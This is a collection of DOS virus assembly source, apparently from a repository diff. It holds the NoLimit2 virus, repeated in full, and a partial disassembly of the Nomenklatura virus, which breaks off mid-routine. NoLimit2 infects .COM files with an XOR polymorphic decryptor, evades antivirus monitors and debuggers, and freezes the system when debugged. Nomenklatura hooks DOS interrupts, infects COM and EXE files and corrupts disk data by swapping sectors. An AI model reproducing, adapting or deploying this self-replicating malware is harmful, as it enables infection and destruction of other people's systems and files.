mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ah,B Ds:[046ch] ;
Mov Ds,Cs ; If Ah is zero, goto
Cmp Ah,0 ; EncryptIt
Je EncryptIt ;
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
Test Ah,4 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Xchg Ah,Al ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $

View File

@ -0,0 +1,280 @@
;
; NoLimit2 Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
;
; Bugs Fixed from 1:
; With encryption, not all possibilities were used. Solved.
Version Equ 2 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit2] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ax,W Ds:[046ch] ;
Xchg Al,Ah ;
Push Ax
Mov Ah,2ch ;
Int 21h ;
Pop Ax ;
Not Cx ;
Add Ax,Cx ;
Adc Ax,Dx ;
Mov Ds,Cs ;
Test Al,1 ;
Jnz GenKey ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Push Ax ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Pop Ax ;
Test Ah,2 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Add Al,Ah ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $

View File

@ -0,0 +1,280 @@
;
; NoLimit2 Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
;
; Bugs Fixed from 1:
; With encryption, not all possibilities were used. Solved.
Version Equ 2 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit2] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ax,W Ds:[046ch] ;
Xchg Al,Ah ;
Push Ax
Mov Ah,2ch ;
Int 21h ;
Pop Ax ;
Not Cx ;
Add Ax,Cx ;
Adc Ax,Dx ;
Mov Ds,Cs ;
Test Al,1 ;
Jnz GenKey ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Push Ax ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Pop Ax ;
Test Ah,2 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Add Al,Ah ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $

View File

@ -0,0 +1,562 @@
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ NOMNCLTR ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 19-Jan-92 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.286c
data_1e equ 4Ch ; (0000:004C=0E9h)
data_2e equ 84h ; (0000:0084=9Eh)
data_3e equ 46Ch ; (0000:046C=66CDh)
data_4e equ 3 ; (5C42:0003=0FFFFh)
data_5e equ 12h ; (5C42:0012=0)
data_17e equ 1610h ; (5C43:1610=0)
data_18e equ 4BAAh ; (5C43:4BAA=0)
data_19e equ 5C43h ; (5C43:5C43=0)
data_20e equ 0FE52h ; (5C43:FE52=0)
data_21e equ 0FFDBh ; (5C43:FFDB=0)
code_seg_a segment
assume cs:code_seg_a, ds:code_seg_a
org 100h
nomncltr proc far
start:
jmp loc_2
db 35 dup (90h)
data_7 dw 9090h ; Data table (indexed access)
data_8 dw 9090h ; Data table (indexed access)
db 30 dup (90h)
data_9 dw 9090h ; Data table (indexed access)
db 651 dup (90h)
data_10 dw 9090h
data_11 dw 9090h
db 169 dup (90h)
data_12 db 90h
db 125 dup (90h)
loc_2:
jmp loc_34
db 'Nomenklatura'
db 0, 80h, 0FCh, 4Bh, 74h, 0Ah
db 80h, 0FCh
db 3Dh, 74h
data_13 dd 2EFF2E14h
data_14 dw 3D9h
data_15 db 3Ch
db 0AAh, 72h
data_16 dw 550Bh
db 8Bh, 0ECh, 80h, 66h, 6, 0FEh
db 5Dh, 0B0h, 3, 0CFh, 6, 1Eh
db 57h, 56h, 55h, 52h, 51h, 53h
db 50h, 0FCh, 72h, 22h, 0B9h, 80h
db 0, 8Bh, 0F2h
locloop_4:
lodsb ; String [si] to al
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
mov cx,432Eh
sub si,3
lodsw ; String [si] to ax
cmp ax,4D4Fh
je loc_5 ; Jump if equal
cmp ax,4558h
jne loc_9 ; Jump if not equal
mov ch,ah
loc_5:
cmp [si-4],cx
jne loc_9 ; Jump if not equal
loc_6:
mov ax,3D02h
pushf ; Push flags
push cs
call sub_1
jc loc_9 ; Jump if carry Set
xchg ax,bx
push cs
pop ds
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
push cx
push dx
mov di,515h
mov word ptr [di],12Bh
mov [di+2],cs
mov word ptr [di+4],3B2h
mov [di+6],cs
call sub_5
mov dx,4FDh
mov si,dx
mov cl,18h
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jc loc_8 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_7 ; Jump if not equal
call sub_2
jmp short loc_8
loc_7:
call sub_4
loc_8:
mov ax,5701h
pop dx
pop cx
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
call sub_5
loc_9:
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
jmp loc_3
nomncltr endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
test dx,dx
jnz loc_10 ; Jump if not zero
cmp ax,400h
jae loc_10 ; Jump if above or =
pop ax
pop dx
ret
loc_10:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_13 ; Jump if equal
test dx,dx
jnz loc_11 ; Jump if not zero
cmp ax,400h
je loc_ret_13 ; Jump if equal
loc_11:
mov dx,bp
mov ax,di
push dx
push ax
add ax,400h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
mov [si+2],dx
test dx,dx
jz loc_12 ; Jump if zero
inc ax
loc_12:
mov [si+4],ax
pop ax
pop dx
mov di,10h
div di ; ax,dx rem=dx:ax/reg
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_10,di ; (5C43:03D5=9090h)
mov data_11,es ; (5C43:03D7=9090h)
mov [si+14h],dx
mov [si+16h],ax
call sub_3
jc loc_ret_13 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,si
mov cx,18h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_ret_13:
ret
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov ah,40h ; '@'
mov cx,400h
mov dx,100h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
xor cx,ax
cmc ; Complement carry
jnz loc_ret_14 ; Jump if not zero
mov ax,4200h
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_ret_14:
ret
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
cmp ax,400h
jb loc_ret_17 ; Jump if below
cmp ax,0FA00h
jae loc_ret_17 ; Jump if above or =
push ax
cmp byte ptr [si],0E9h
jne loc_16 ; Jump if not equal
sub ax,403h
cmp ax,[si+1]
jne loc_16 ; Jump if not equal
loc_15:
pop ax
ret
loc_16:
call sub_3
jc loc_15 ; Jump if carry Set
pop ax
sub ax,3
mov dx,3D5h
mov si,dx
mov byte ptr cs:[si],0E9h
mov cs:[si+1],ax
mov ah,40h ; '@'
mov cx,3
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_ret_17:
ret
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
xor ax,ax ; Zero register
mov es,ax
mov si,515h
mov di,90h
mov cx,2
locloop_18:
lodsw ; String [si] to ax
xchg ax,dx
lodsw ; String [si] to ax
xchg dx,es:[di]
xchg ax,es:[di+2]
mov [si-4],dx
mov [si-2],ax
mov di,4Ch
loop locloop_18 ; Loop if cx > 0
ret
sub_5 endp
db 2Eh, 80h, 3Eh, 1Fh, 5, 0
db 74h, 12h, 41h, 75h, 0Eh, 32h
db 0E4h, 2Eh, 86h, 26h, 1Fh, 5
db 0F5h, 2Eh, 8Bh, 0Eh, 22h, 5
db 41h, 49h, 9Ch, 50h, 9Ch, 0Eh
db 0E8h, 0EFh, 0, 73h, 7, 83h
db 0C4h, 4, 0F9h, 0E9h, 0C8h, 0
loc_19:
pop ax
sub ah,2
cmp ah,2
jae loc_28 ; Jump if above or =
push bx
push cx
push si
push ds
loc_20:
push ax
push bx
push cx
push dx
xor dx,dx ; Zero register
mov cx,100h
mov si,bx
push si
locloop_21:
lods word ptr es:[si] ; String [si] to ax
dec ax
cmp ax,0FFF5h
jae loc_23 ; Jump if above or =
cmp ax,bx
jne loc_22 ; Jump if not equal
inc dh
loc_22:
xchg ax,bx
inc dx
inc bx
loc_23:
loop locloop_21 ; Loop if cx > 0
pop si
shr dl,1 ; Shift w/zeros fill
clc ; Clear carry flag
jz loc_25 ; Jump if zero
cmp dl,dh
jae loc_25 ; Jump if above or =
clc ; Clear carry flag
push cs
pop ds
mov bx,520h
inc word ptr [bx]
jnz loc_25 ; Jump if not zero
inc word ptr ds:data_20e[bx] ; (5C43:FE52=0)
mov al,ds:data_21e[bx] ; (5C43:FFDB=0)
add al,0F8h
jnc loc_24 ; Jump if carry=0
mov al,0FFh
loc_24:
mov [bx+1],al
xor bx,bx ; Zero register
mov ds,bx
mov ax,ds:data_3e ; (0000:046C=66D9h)
xchg bl,ah
add bx,bx
add bx,si
add ax,ax
add si,ax
push es
pop ds
mov ax,[bx]
xchg ax,[si]
mov [bx],ax
stc ; Set carry flag
loc_25:
pop dx
pop cx
pop bx
jnc loc_26 ; Jump if carry=0
mov ax,301h
pushf ; Push flags
push cs
call sub_7
loc_26:
pop ax
jc loc_27 ; Jump if carry Set
dec al
jnz loc_20 ; Jump if not zero
loc_27:
pop ds
pop si
pop cx
pop bx
loc_28:
pop ax
shr ax,1 ; Shift w/zeros fill
jnc loc_31 ; Jump if carry=0
mov ax,100h
jmp short loc_32
db 0, 0, 2Eh, 0FFh, 36h, 1Dh
db 5, 9Dh, 74h, 50h, 2Eh, 88h
db 26h, 1Fh, 5, 2Eh, 89h, 0Eh
db 22h, 5, 2Eh, 3Ah, 26h, 82h
db 4, 75h, 3, 80h, 0F4h, 1
loc_29:
push cx
mov cx,0FFFFh
pushf ; Push flags
push cs
call sub_6
pop cx
pushf ; Push flags
cmp cs:data_15,0 ; (5C43:051F=3Ch)
loc_30:
jne loc_30 ; Jump if not equal
popf ; Pop flags
jnc loc_32 ; Jump if carry=0
cmp ah,1
stc ; Set carry flag
jnz loc_32 ; Jump if not zero
loc_31:
xor ax,ax ; Zero register
loc_32:
sti ; Enable interrupts
